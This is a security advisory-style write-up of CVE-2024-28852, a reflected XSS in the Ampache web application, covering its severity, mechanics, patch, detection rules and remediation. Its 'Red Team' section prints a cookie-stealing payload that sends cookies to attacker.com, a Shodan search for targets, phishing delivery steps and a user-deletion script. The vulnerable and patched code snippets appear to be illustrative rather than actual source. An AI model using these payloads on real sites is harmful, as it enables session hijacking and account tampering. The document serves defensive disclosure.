CVE-2024-28852

Executive Summary

CVE-2024-28852 is a reflective Cross-Site Scripting (XSS) vulnerability in Ampache, a web-based audio/video streaming application and file manager. The vulnerability exists because the application fails to properly sanitize the $rule variable used in multiple forms, such as when querying a song or podcast. An attacker can craft a malicious URL containing JavaScript payloads in the rule parameter, which, when visited by an authenticated user, will execute in the context of the victim's session. This can lead to session hijacking, credential theft, or unauthorized actions. The vulnerability is fixed in version 6.3.1.

Supply Chain & Package Security

Ampache is a PHP-based application. The vulnerability is not in a third-party package but in the core application logic. However, administrators should ensure that their PHP environment and any dependencies (e.g., MySQL/MariaDB, web server) are up-to-date to prevent secondary attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact may extend to other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for session hijacking make it a significant risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic reflective XSS. The $rule variable is used in various search and query forms within Ampache. When a user submits a search, the value of $rule is reflected back in the response without proper encoding or sanitization. An attacker can inject arbitrary HTML and JavaScript by crafting a URL like:

https://target-ampache-instance/search.php?rule=<script>alert('XSS')</script>

When a victim visits this URL, the script executes in their browser. The vulnerability is present in all forms that use the $rule variable, including but not limited to song search, podcast search, and user management.

Vulnerable vs. Patched Code

Vulnerable Code (pre-6.3.1):

// In search.php or similar
$rule = $_GET['rule'];
echo "Search results for: " . $rule;

Patched Code (6.3.1):

// Properly sanitize output
$rule = htmlspecialchars($_GET['rule'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $rule;

The fix uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

1. Identify an Ampache instance (e.g., via Shodan dork http.title:"Ampache").
2. Craft a malicious URL:

   http://target/search.php?rule=<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>
   

3. Send the link to an authenticated user via phishing or social engineering.
4. When the user clicks the link, their session cookie is sent to the attacker's server.

Advanced Payload:

<script>
fetch('/api/stream.php?action=delete_user&user_id=1');
</script>

Blue Team

Detection:

• Monitor web server logs for requests containing <script> or onerror= in the rule parameter.
• Use WAF rules to block requests with suspicious patterns in query strings.

Honeypot:

• Deploy a fake Ampache instance and monitor for XSS probes.

Indicators of Compromise (IOCs)

• Network: HTTP requests with rule= parameter containing <script>, onerror, alert(, or other JavaScript event handlers.
• Logs: Web server access logs showing GET /search.php?rule=<script>... patterns.
• File: No specific file-based IOCs; the attack is purely in-memory via reflected XSS.

Detection Engineering

YARA Rule

rule CVE_2024_28852_Ampache_XSS {
    meta:
        description = "Detects Ampache reflective XSS attempts in web logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28852"
    strings:
        $xss1 = /rule=<script[^>]*>/
        $xss2 = /rule=.*onerror=/
        $xss3 = /rule=.*alert\(/
    condition:
        any of them
}

Sigma Rule

title: Ampache Reflective XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-28852 in Ampache
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'rule='
        cs-uri-query|re: '(?i)<script|onerror|alert\('
    condition: selection
falsepositives:
    - Legitimate use of script tags in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28852 Ampache Reflective XSS Attempt"; flow:to_server,established; content:"rule="; http_uri; pcre:"/(?i)<script|onerror|alert\(/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Ampache version 6.3.1 or later.
2. Workaround: If upgrade is not possible, implement a WAF rule to block rule= parameters containing <script> or other HTML tags.
3. Long-term: Ensure all user input is properly sanitized using htmlspecialchars() or similar functions before reflection.
4. Monitoring: Enable logging and alerting for suspicious query strings.

Valters IT